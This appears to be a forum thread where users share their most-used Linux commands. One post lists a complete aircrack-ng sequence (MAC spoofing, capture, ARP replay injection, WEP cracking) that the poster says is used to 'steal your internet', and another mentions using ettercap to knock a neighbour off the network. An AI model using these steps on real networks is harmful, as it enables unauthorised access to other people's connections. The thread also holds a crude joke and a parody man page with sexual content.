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ping

In order to check if my connection is still alive. I'm constantly doing this

 

ettercap

Just to isolate my neighbour from the network when he's consuming to much of the bandwidth. Yes my neighbour is using my connection, that's a long story.

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airmon-ng

airmon-ng stop eth1

ifconfig eth1 down

macchanger --mac 00:11:22:33:44:55 eth1

airmon-ng start eth1

airodump-ng eth1

(ctrl-c to stop)

(copy bssid and name and channel)

 

airodump-ng -c (channel) -w test123 --bssid (here) eth1

 

(new shell)

 

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (network name) eth1

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 eth1

 

(new shell)

 

aircrack-ng -n 64 -b (bssid) test123-01.cap

 

 

 

 

thats the list of commands i use to steal your internet

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errr. Microsoft might own the copyright for that.

 

aircrack-ng -n 64 -b (bssid) test123-01.cap

 

aircrack-ng -z *.cap is far way better.

But did you ever achieved to crack wpa ?

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What's the command you use the most?

 

"Suck my dick while you spread oatmeal on my ass."

 

i would imagine that command and heavy terminal use are mutually exclusive

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My first linux distro was a mandrake(mandriva) 7.2. I was something like 14 at the times, and as a passtime i used to type in "man something" in order to discover new commands. As a 14 years old boy would od i typed in "man sex". here is what i got :

 

SEX(6) EUNUCH Programmer's Manual SEX(6)

 

NAME

sex - have sex

 

SYNOPSIS

sex [ options ] ... [ username ] ...

 

DESCRIPTION

sex allows the invoker to have sex with the user(s) speci-

fied in the command line. If no users are specified, they

are taken from the LOVERS environment variable. Options to

make things more interesting are as follows:

 

-1 masturbate

 

-a external stimulus (aphrodisiac) option

 

-b buggery

 

-B

bestiality with

 

-c chocolate sauce option

 

-C chaining option (cuffs included) (see also -m -s -W)

 

-d

get a date with the features described in

 

-e exhibitionism (image sent to all machines on the net)

 

-f foreplay option

 

-F nasal sex with plants

 

-i coitus interruptus (messy!)

 

-j jacuzzi option (California sites only)

 

-l leather option

 

-m masochism (see -s)

 

-M triple parallel (Menage a Trois) option

 

-n necrophilia (if target process is not dead, program

kills it)

 

-o oral option

 

-O parallel access (orgy)

 

-p debug option (proposition only)

 

-P pedophilia (must specify a child process)

 

 

 

Printed 2/15/87 2/15/87 1

 

 

 

 

 

 

SEX(6) EUNUCH Programmer's Manual SEX(6)

 

 

 

-q quickie (wham, bam, thank you, ma'am)

 

-s sadism (target must set -m)

 

-S sundae option

 

-v voyeurism (surveys the entire net)

 

-w whipped cream option

 

-W whips (see also -s, -C, and -m)

 

ENVIRONMENT

LOVERS

is a list of default partners which will be used if

none are specified in the command line. If any are

specified, the values in LOVERS is ignored.

 

FILES

/usr/lib/sex/animals animals for bestiality

 

/usr/lib/sex/blackbook possible dates

 

/usr/lib/sex/sundaes sundae recipes

 

/usr/lib/sex/s&m sado-masochistic equipment

 

SEE ALSO

baby(1)

 

BUGS

^C (quit process) may leave the user very unsatisfied.

 

^Z (stop process) is usually quite messy.

 

MAN AUTHOR

Author prefers to be anonymous.

 

HISTORY

Oldest program ever.

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